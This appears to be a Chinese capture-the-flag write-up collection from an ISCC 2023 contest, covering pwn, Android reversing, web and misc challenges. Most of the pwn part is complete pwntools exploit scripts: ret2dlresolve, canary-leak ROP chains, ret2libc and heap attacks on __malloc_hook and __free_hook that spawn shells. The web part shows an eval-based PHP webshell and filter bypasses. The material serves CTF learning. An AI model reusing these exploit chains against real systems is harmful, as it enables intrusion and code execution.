I386框架32位程序。
Ida分析:
NX保护开启,ROP链限制,考察ret2dl技巧,生成rop链打一次read即可拿到shell。
Exp:
from pwn import *
r = process('./eatnum')
elf = ELF('eatnum')
context(arch='i386',os='linux', log_level='debug')
rop = ROP('eatnum')
pay1 = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, pay1.data_addr)
rop.ret2dlresolve(pay1)
ropchain = rop.chain()
pay3 = b'a'*0x48 + p32(8) + ropchain
pay3 = pay3.ljust(0x100, b'c') + pay1.payload
r.sendline(pay3)
r.interactive()
困局
有Canary保护
Ida分析:
Func_key函数:
Func_1函数:
Exp:
from pwn import *
r=process('./Trapped')
elf=ELF('./Trapped')
libc=ELF('./libc.so.6(1)')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400978
rdi=0x400a23
ret=0x40060e
context(arch='amd64',os='linux',log_level='debug')
pay1=b'%9$p'
r.sendafter("This is a larger box\n",pay1)
pay2='YYZ'
r.sendafter("We have a lot to talk about\n",pay2)
canary=int(r.recv(18),16)
print('canary------->'+str(hex(canary)))
pay3=b"19"
r.sendafter("This is a larger box\n",pay3)
pay4=flat(b'a'*(0x28),canary,b'a'*(0x8),rdi,putsgot,putsplt,main,word_size=64)
r.sendafter("We have a lot to talk about\n",pay4)
addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('addr-------->'+str(hex(addr)))
base=addr-libc.sym['puts']
mprotect=base+libc.sym['mprotect']
read=base+libc.sym['read']
pop_rdx_rsi_ret=0x1151c9+base
bss=0x601000
pop_rdx_ret=0x27725+base
pop_rsi_ret=0x28ed9+base
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,bss+0x200,0x30))
shellcode+=asm(shellcraft.write(1,bss+0x200,0x30))
pay5=flat(b'a'*0x28,canary,b'a'*(0x8),pop_rdx_rsi_ret,7,0x1000,rdi,bss,mprotect,pop_rdx_rsi_ret,len(shellcode),bss,rdi,0,read,bss)
pay5=pay5.ljust(0x100,b'\x00')
r.sendlineafter("This is a larger box\n",b'%9$p')
r.sendafter("We have a lot to talk about\n",pay5)
r.send(shellcode)
r.interactive()
第二识势-2
Checksec
ida分析:
Func_111001函数:
Exp如下:
from pwn import *
context(arch='amd64',os='linux', log_level='debug')
r= process('./attachment-34')
elf = ELF('./diershishi')
libc = ELF('libc-2.23.so')
r.sendlineafter(b"Start injecting\n",b'\x00'+b'a'*(0x16))
r.recvlines(1)
addr= int(r.recvuntil(b"d",drop=True))
print(addr)
r.sendline(str(0xffffff51).encode())
r.sendline(str((0x6012b0-0x20-addr)&0xffffffff).encode())
r.sendafter(b"Answer time is close to over\n",b'a'*0x10)
rdi = 0x400bd3
ret=0x4006e6
putsgot=elf.got["puts"]
putsplt=elf.plt["puts"]
p1=b'a'*0x88+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(0x4008a7)
r.sendlineafter("Direct to destination\n", p1)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print('addr------------------->'+str(hex(addr)))
base=addr-libc.sym["puts"]
sh=base+next(libc.search(b"/bin/sh\x00"))
system=base+libc.sym['system']
p2=flat(b'a'*(0x88),ret,rdi,sh,system,word_size=64)
r.sendlineafter("Direct to destination\n", p2)
r.interactive()
Double
Checksec
拖进ida分析:
尝试找下/bin/sh,
system程序中有
接下来就是堆块布局改指针来执行system(‘/bin/sh’)
Exp
from pwn import *
r=process('./double')
context(os='linux', arch='amd64', log_level='debug')
system=0x400700
elf = ELF("./double")
libc=ELF('./libc.so.6')
#print('pid='+str(proc.pidof(r)))
def create(index,size):
r.sendlineafter("请选择:",'1')
r.sendlineafter("请输入序号:",str(index))
r.sendafter("请输入大小:",str(size))
def free(index):
r.sendlineafter("请选择:",'2')
r.sendlineafter("请输入序号:",str(index))
def printf(index):
r.sendlineafter("请选择:",'3')
r.sendlineafter("请输入序号:",str(index))
def edit(index,content):
r.sendlineafter("请选择:",'4')
r.sendlineafter("请输入序号:",str(index))
r.sendlineafter("请输入编辑内容:",content)
binsh =0x0000000000400cd8
for i in range(1):
create(i,0x83)
create(i+1,0x53)
free(0)
create(2, 0x53)
printf(2)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print('addr----------->'+str(hex(addr)))
main_arena = addr-0xd8
malloc_hook=main_arena-0x10
chunk = malloc_hook-0x23
for i in range(3,6):
create(i,0x60)
for i in range(3,4):
free(i)
free(i+1)
free(i)
create(6, 0x60)
edit(6, p64(chunk))
for i in range(7,10):
create(i,0x60)
p=b"a"*0x13+p64(system)
edit(9, p)
create(10, str(binsh))
# r.sendline("cat flag.txt")
r.interactive()
Chef
Checksec
ida分析:
Restaurant_menu函数:
Add food函数:
Change_food函数:
Remove_food函数:
Show_food函数:
该题释放堆块的时候指针也给置0了,不存在UAF漏洞,但我们可以unlink,堆块布局实现任意地址写入free_hook,再将其值改为system地址,指向/bin/sh,执行即可。
exp
from pwn import *
r=process('./chef')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("./chef")
libc = ELF('./libc-2.23.so')
def add(size, content):
r.sendlineafter(b"Your choice:", "2")
r.sendlineafter(b"Please enter the price of food:", str(size))
r.sendafter(b"Please enter the name of food:", content)
def show():
r.sendlineafter(b"Your choice:", str(1))
def edit(index, size, content):
r.sendlineafter(b"Your choice:", '3')
r.sendlineafter(b"Please enter the index of food:", str(index))
r.sendlineafter(b"Please enter the price of food :", str(size))
r.sendafter(b"Please enter the name of food:", content)
def free(index):
r.sendlineafter(b"Your choice:", '4')
r.sendlineafter(b"Please enter the index of food:", str(index))
pause()
r.sendline('4')
pause()
add(0x10, b'a'*(0x10))
add(0x80, b'b'*(0x80))
add(0x80, b'c'*(0x80))
add(0x80, b'/bin/sh\x00')
chunk= 0x6020b8
p = b'a' * 0x10+p64(0)+p64(0x91)+p64(0)+ p64(0x81) + p64(chunk - 0x18)+p64(chunk - 0x10)
p = p.ljust(0xa0, b'a')
p += p64(0x80) + p64(0x90)
edit(0, len(p), p)
free(2)
edit(1, 0x20, p64(0x50) + p64(elf.got["puts"]))
show()
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
base=addr-libc.sym['puts']
print('base----------->'+str(hex(base)))
system=base+libc.sym['system']
free_hook=base+ libc.sym['__free_hook']
print('free_hook-------------->'+str(hex(free_hook)))
edit(1,0x20,p64(0x50)+p64(elf.got["puts"])+p64(0x50) + p64(free_hook))
edit(1,0x20,p64(system))
free(3)
r.interactive()
Your_character
Checksec
Ida分析:
design_character_skill()函数:
create_skill()函数:
edit_damage()函数:
edit_introduction()函数:
show_skill()函数:
delete_skill()函数:
整体思路就是edit堆块时候堆溢出篡改数据造成堆叠,泄露libc,改写控制堆块的指针,写入one_gadget,最后触发one_gadget获取shell
Exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r=process('./your_character')
elf = ELF('./your_character')
libc = ELF('./libc-2.23.so')
def add(size, data):
r.sendafter(b'choice :', b'1')
r.sendafter(b'skill : ', str(size))
r.sendafter(b'skill:', data)
def edit_size(idx, size):
r.sendafter(b'choice :', b'2')
r.sendafter(b'Index :', str(idx))
r.sendafter(b'skill : ', str(size))
def edit_data(idx, data):
r.sendafter(b'choice :', b'3')
r.sendafter(b'Index :', str(idx))
r.sendafter(b'skill : ', data)
def show(idx):
r.sendafter(b'choice :', b'4')
r.sendafter(b'Index :', str(idx))
def free(idx):
r.sendafter(b'choice :', b'5')
r.sendafter(b'Index :', str(idx))
r.sendlineafter("Your choice :",'1')
add(0x68,b'a'*(0x68))
add(0x10,b'b'*(0x10))
add(0x60,b'c'*(0x60))
add(0x50,b'd'*(0x50))
edit_data(0, b'\x00'*0x68 + p8(0xf1))
free(1)
add(0xe0, b'e'*8)
show(1)
addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(' addr -> ', hex(addr))
base = addr - 0x68 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(base))
malloc_hook = base + libc.sym['__malloc_hook']
one_gadget = base + 0xf1247
free(2)
edit_data(1, p64(0)*3 + p64(0x21) + p64(0xe0) + p64(0)*2 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23))
add(0x60,'YYZ')
free(3)
add(0x60, b'\x00'*0x13 + p64(one_gadget))
r.sendlineafter("Your choice :",'6')
r.sendlineafter("Your choice :", '2')
r.sendline("cat flag.txt")
r.interactive()
SIMS
Checksec
ida分析:
Gdb调试:
If判断通过后进入change函数:
Create函数:
dele()函数:
Free堆块的时候存在UAF漏洞。
edit()函数:
show()函数:
有UAF,那就unsort时候写入/bin/sh,堆块布局,泄露libc,再写入free_hook,改写free_hook的值为one_gadg的地址,触发system(‘/bin/sh”)即可。
找下one_gadget
Exp:
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r= process("./SIMS")
elf=ELF('./SIMS')
libc=ELF('libc.so.6')
r.sendlineafter(b"welcome~ please input the password:\n",str(2118602923).encode())
def add(size):
r.sendlineafter(b"please choose one!\n",str(1))
r.sendlineafter(b"Age of Stu:\n",str(size))
def edit(idx,com):
r.sendlineafter(b"please choose one!\n",str(3))
r.sendlineafter(b"Index:\n",str(idx))
r.sendlineafter(b"Content of Stu:\n",com)
def free(idx):
r.sendlineafter(b"please choose one!\n",str(2))
r.sendlineafter(b"Index:\n",str(idx))
def show(idx):
r.sendlineafter(b"please choose one!\n",str(4))
r.sendlineafter(b"Index:\n",str(idx))
for i in range(9):
add(0x100)
for i in range(9,-1,-1):
free(i)
for i in range(7):
add(0x100)
add(0x100)
show(7)
base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x3ebeb0
print ("libc_base ------------------------>",hex(base))
free_hook = base+libc.sym['__free_hook']
onegadget = 0x4f2a5+base
free(0)
free(1)
free(2)
edit(2,p64(free_hook))
add(0x100)
add(0x100)
edit(6,p64(onegadget))
edit(7,"/bin/sh\x00")
free(7)
r.interactive()
谜语人
Checksec
I386框架的32位程序,保护全开。
首先进行堆块布局,泄露出堆地址,计算libc基址,从而算出system地址。
篡改堆管理器指针为system,指向/bin/sh即可。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
r= process('./Riddler')
elf = ELF('./Riddler')
libc = ELF('./libc6-i386_2.27-3ubuntu1.6_amd64.so')
def add(idx):
r.sendlineafter(b'Then?\n', b'2')
r.sendlineafter(b'emmm?!\n', str(idx))
def free(idx):
r.sendlineafter(b'Then?\n', b'1')
r.sendlineafter(b'emmm?!\n', str(idx))
def show(idx):
r.sendlineafter(b'Then?\n', b'0')
r.sendlineafter(b'emmm?!\n', str(idx))
def edit(idx, data):
r.sendlineafter(b'Then?\n', b'3')
r.sendlineafter(b'emmm?!\n', str(idx))
r.sendline(data)
add(3)
add(4)
free(4)
edit(4, p64(0))
free(4)
show(4)
heap_addr = u32(r.recv(4))
ptr_heap = heap_addr - 0x1048 + 0x8
edit(4, p32(ptr_heap))
add(5)
add(6)
free(6)
show(6)
p.recv(4)
malloc_hook=u32(r.recv(4)) - 0x38 - 0x8 - 0x10
base = malloc_hook - libc.sym['__malloc_hook']
system=base + libc.sym['system']
free(3)
edit(3, p64(0))
free(3)
edit(3, p32(heap_addr-0x1230+0x190))
add(7)
add(8)
show(8)
edit(8, p32(system))
print(' libc_base ------------------------> ', hex(base))
print(' ptr_heap ------------------------> ', hex(ptr_heap))
print(' heap_addr --------------------------> ', hex(heap_addr))
print(' system -------------------------------> ', hex(system))
edit(7, b'/bin/sh\x00')
show(7)
interactive()
ANDROID
NOJAVA
打开apk分析函数
找到密文,加密部分在so文件
找到函数加密位置,主要加密逻辑为先将输入字符串转为二进制,然后将10转为1001
01转为0110,11转为1010,00转为0101
所以根据这个可以写解密脚本:
exp:
import libnum
s = 'eZeYYZfiYeejjiejfifjjYjj' # 字符串
s = libnum.s2n(s)
a = bin(s)[2:]
a = (4-(len(a)%4))*'0'+a
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]
dic = {"1001":"10","0110":"01","1010":"11","0101":"00"}
flag = ""
for i in a:
flag += dic[i]
print(b'ISCC{'+libnum.n2s(int(flag,2))+b'}')
运行得到flag:ISCC{CB#V$GvGVWrw}
WhereisFlag-1
分析发现主要的加密解密逻辑在checkSN中也就是so文件内,然后用ida打开so文件
经过分析发现,当输入账号的时候会来到wrong_2(),只输入密码会来到wrong_1()
两个都输入的话会来到
将输入进行md5加密让分割
在wrong_1()中找到md5加密字符串
解密得到:YOULIKE
然后分析wrong_2()
这里发现主要是调用getMany()函数
经过分析发现加密为rc4加密,当输入账号为flagishere的时候为true,所以猜测
flagishere为明文flag为密文,密钥应该为:this is key for Encript test
但是用标准的rc4加密不能得到正确flag,所以这里直接上动态调试
可以看到a2也就是明文的值为flagishere
所以这里直接获取a3的值即可,发现a3的值在EDX中
所以直接看EDX的值,最终得到密文:128215131d0dd4119e60
组合为flag:ISCC{YOU_LIKE_128215131d0dd4119e60}
WhereisHint-2
分析代码,发现没有找到加密函数
但是在这里导入了一个包,跟进看一下
找到密文以及加密函数eq()
打开so文件分析
找到加密算法
分析发现是类似于DES的算法
exp:
import re
import libnum
flag = list("0111111001010011001111010110101101010101011010011011111010110000")
ipReverseTable = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
ipTable = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
extendTable = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1]
sBox = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13, 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9, 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12, 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14, 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3, 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13, 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12, 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
pTable = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
static_flag = ['100000001010101000000110000000001010000010000001', '101000000010011000000110001000000010000001001001', '011000000001011000000100001000101001000000000010', '010000001001000001110000000001000000010100100010', '100001001100000001110010000011000000100001000000', '101001100100001100000010010000001100000001010000', '001010100001001100000001000000011000010000001000', '000010010001000001011001100010000001010000000000', '000010010100000011011000000110010001000000100000', '000101000100000110011000000000000100100000100000', '000101100000100100000001000000000010100000010100', '000010110010100000000101101000010000000010010000', '000010010010010010001100000000010000001000000011', '010100000000010010101000000101100000000000000100', '110100001000100000100000000000000000000111000100', '100100001010100000100010010001000010000010000000']
def pointerOffseter(a1,k):
return a1[k]
def xorAB(a1,a2):
temp = []
for i in range(len(a1)):
if a1[i] == a2[i]:
temp.append('0')
else:
temp.append('1')
return temp
def sub_CA6A3792(a1,index,lens):
base = index + lens
return a1[index:base]
def f(pwd_0to32, static_flag):
global extendTable,sBox,pTable
v33 = []
for i0 in range(48):
v32 = pointerOffseter(pwd_0to32, extendTable[i0] - 1)
v33.append(v32)
v32 = static_flag
v39 = xorAB(v33,v32)
v40 = []
for i0 in range(8):
v40.append(sub_CA6A3792(v39,i0*6,6))
for i in range(8):
v28 = sub_CA6A3792(v40[i],0,1)
v27 = sub_CA6A3792(v40[i],5,1)
v29 = ["".join(v28),"".join(v27)] # 2Bit
v26 = sub_CA6A3792(v40[i],1,4) # 4Bit
v14 = ((int(256/4) * i)) + (int(64/4) * int("".join(v29),2))
v19 = sBox[v14 + int("".join(v26),2)]
v24 = str(bin(v19))[2:].rjust(4,'0')
v40[i] = v24
v40 = list(listToStr(v40))
a1 = []
for i1 in range(32):
v35 = pointerOffseter(v40,pTable[i1] - 1)
a1.append(v35)
return a1
def strTobin(s):
s = ''.join(format(ord(x), 'b').rjust(8,'0') for x in s)
s = s.ljust(64,'0')
return s
def listToStr(s):
return str(re.sub('[^\d]','',str(s)))
def encByte(a1):
global static_flag,ipReverseTable,ipTable
t_a1 = list(a1)
a1 = []
for i0 in range(64):
vp = pointerOffseter(t_a1,ipTable[i0] - 1)
a1.append(vp)
v49 = a1[0:32]
v48 = a1[32:64]
temp_v49 = [v49]
temp_v48 = [v48]
for i in range(16):
temp_v49.append(temp_v48[i])
v43 = temp_v49[i]
v41 = temp_v48[i]
v40 = static_flag[i]
vf = f(v41,list(v40))
vx = xorAB(v43,vf)
temp_v48.append(vx)
v35 = [temp_v48[16],temp_v49[16]]
v35 = listToStr(v35)
v35 = list(v35)
result = []
for i1 in range(64):
vi1 = pointerOffseter(v35,ipReverseTable[i1] - 1)
result.append(vi1)
return result
enc = encByte(strTobin("k1234567"))
def reinsertByOffset(a1,k):
temp_l = [0 for x in range(len(a1))]
for i in range(len(k)):
temp_l[k[i]-1] = a1[i]
return temp_l
def decByte(a1):
global static_flag
v49 = a1[0:32]
v48 = a1[32:64]
temp_v49 = [v49]
temp_v48 = [v48]
for i in range(16):
temp_v49.append(temp_v48[i])
v43 = temp_v49[i]
v41 = temp_v48[i]
v40 = static_flag[15 - i]
vf = f(v41,list(v40))
vx = xorAB(v43,vf)
temp_v48.append(vx)
v35 = [temp_v48[16],temp_v49[16]]
v35 = listToStr(v35)
v35 = list(v35)
return v35
en = reinsertByOffset((flag),ipReverseTable)
en = decByte(en)
en = reinsertByOffset(enc, ipTable)
flag = "".join(en)
print(b'ISCC{'+libnum.n2s(int(flag,2))+b'}')
运行得到flag:
MobileTest
找到密文,但是这个是调用a函数生成的密文
这里发现a函数就是将字符串前和末尾进行拼接了一些字符串
还原一下得到字符串:74BAB6984CBEFF0946CCD3297A21C3F7
分析so文件的加密函数
发现上面是AES加密,下面是将AES加密的结果的十六进制的高低位交换了
AES加密的密钥为dest变量
610000006900000073000000790000006C000000450000006E000000650000006400000045000000610000006900000073000000790000006C00000045000000
这里发现S盒以及逆S盒的数据被替换,将正确的数据提取出来,然后在网上找个脚本解密
得到flag
ManyJni
分析函数
发现是调用stringJNI对flag加密,然后传入的参数为(flag+c,d)
然后c是调用C函数和stringFromJNI()生成的,d是调用stringFromJNI()和D函数生成的
所以这里直接调用so文件函数可以得到c的值以及d的值
然后尝试传入参数调用stringJNI加密
传入参数为字符a的时候,发现值为:.1083538065.1130340170
然后当传入两个字符的时候可以发现是将密文进行了分割,前半部分在第一个if比较,后半部分在第二个if比较,所以可以通过使用一个for循环来生成一个码表,然后将两个部分的密文进行拼接替换即可得到flag
得到的码表为:
{"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}
exp:
part1 = ".1463495029.1049530879.4097885373.4273244629.3747360752.4018804880.2381012008.166914849.1986798057.1236282010.529156133.4075828588"[1:].split(".")
part2 = ".1088610877.4255690777.4018178710.3478477188.949414639.2724391126.4088810995.75133536.4141497725.4060431406.278213883.429489377"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
print("ISCC{" + flag[:-3] + "}")
else:
print("wrong")
运行得到flag
ManyMany
分析代码,发现主要逻辑在stringFronJNI函数中,ida打开so文件分析代码
找到两段密文
将第一段逆置,第二段根据某种映射关系映射得到flag
exp:
s = "#16P"
s1 = "m=%mL9DO"
flag = s[::-1]
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
flag += s1[map[i]]
print(flag)
擂台
WEB
3d建模
通过抓包发现要传入一个key值且范围为[2,6]
传入key后发现是概率性触发,解码原本重定向的参数后发现imges是base64编码的,并且根据报错显示,可以知道这里存在任意文件读写
获得index.php
第一段:
???
第二段:LFI + 碰撞key值
读index.php
读取/flaaaag,得到 w#|m0p3DTB5o_V}
智力王
扫描目录得到源码,发现有hint,去访问发现提示key为4位,又参考源码中hint部分有对level传值,先尝试去爆破下密钥
构造session
根据提示,行百里者半九十
赠元发弟放言 – 百度汉语
作者:黄庭坚
亏功一篑,未成丘山。凿井九阶,不次水泽。行百里者半九十,小狐汔济濡其尾。故曰时乎,时不再来。终终始始,是谓君子。
去90关,发现ssrf的入口
然后发现ssrf入口,在服务器上构造302页面,通过日志分析,ssrfprotect函数应该是有两次请求,第一次为检测,第二次才是真正请求,所以在服务器开始设置,成功绕过
最后格式化字符串
https://sec-in.com/article/336
侧信道
蚁剑连接
第0层
访问http://47.94.14.162:10011/
<?php
highlight_file(__FILE__);
include('waf.php');
@eval($_POST[1]);
?>
访问http://47.94.14.162:10011/waf.php
跳转到https://www.bilibili.com/video/BV1GJ411x7h7/?VUE9SVNDQw&t=1&vd_source=a3973ee32c81b12d5f6370e78020d6a5
对url的参数进行分析,得到
VUE9SVNDQw -> UA=ISCC
更改UA,得到IScC_L3vel2.php
第一层访问http://47.94.14.162:10011/IScC_L3vel2.php
WELCOME TO 2023ISCC
your are in 2023ISCC
W0w you Find me next
IsCC_N3xT.php
第二层
访问:http://47.94.14.162:10011/IsCC_N3xT.php
注释中发现隐藏信息,构建base64绕过
http://47.94.14.162:10011/IsCC_N3xT.php?s0urc3=%26czB1cmMz
即可得到源码:
<?php
include('level2.php');
error_reporting(0);
if($_GET['s0urc3']=='s0urc3'){
echo "没看见base64?";
}
if (isset($_GET['s0urc3'])) {
$s0urc3 = $_GET['s0urc3'];
if ($_GET['s0urc3'] != 'czB1cmMz') {
if (preg_match("/\&/",$s0urc3)){
if (base64_decode($_GET['s0urc3']) == 's0urc3') {
highlight_file(__FILE__);
echo "喜欢我isccIscciSccisCciscCIsCc1sCc吗";
}
}else{
die('想这样绕过?门都没有!!');
}
}else{
echo "s0urc3不能czB1cmMz";
echo "<br/>你不准看源码!";
}
}
$a = $_GET['iscc'] ?: '';
$b = $_GET['Iscc'] ?: '';
$c = $_GET['iScc'] ?: '';
$d = $_GET['isCc'] ?: '';
if (isset($_GET['iscc_iscc.lab'])) {
echo "1";
if (file_get_contents($a) === 'ISCC!!!') {
if ($b != 2023 && intval($b, 0) === 2023) {
header("location: https://iscc.isclab.org.cn/");
}
if ($c != $d && sha1($c) === sha1($d)) {
echo $level2;
} else {
header("location: https://iscc.isclab.org.cn/");
}
} else {
header("location: https://iscc.isclab.org.cn/");
}
}
直接构造,得到WCr3yPbt0.php
第三层
访问:http://47.94.14.162:10011/WCr3yPbt0.php
直接爆破
第四层
访问:http://47.94.14.162:10011/IScC_F1n4l.php
python直接计算
def L(u):
return (u-1)//n
aa = L(pow(c,lam,n**2))
bb = L(pow(g,lam,n**2))
from Crypto.Util.number import *
m = (aa * inverse(bb,n)) % n
print(long_to_bytes(m).decode())
MISC
Guess_RSA
解压得到附件,在这些文件中,publickey为公钥文件,cryptotext为密文,其中pic.png在lsb中隐藏有十六进制信息
将其中的:去掉得到:
381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5
然后将公钥文件进行解析
n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e = 65537
然后现在有了公钥有了密文,和一段未知的数据,怀疑这个是dp泄露,这里直接上脚本
exp:
#coding=utf-8
import gmpy2 as gp
e = 65537
n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
dp = int('381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5',16)
c=''
with open('cryptotext3.txt','rb') as f:
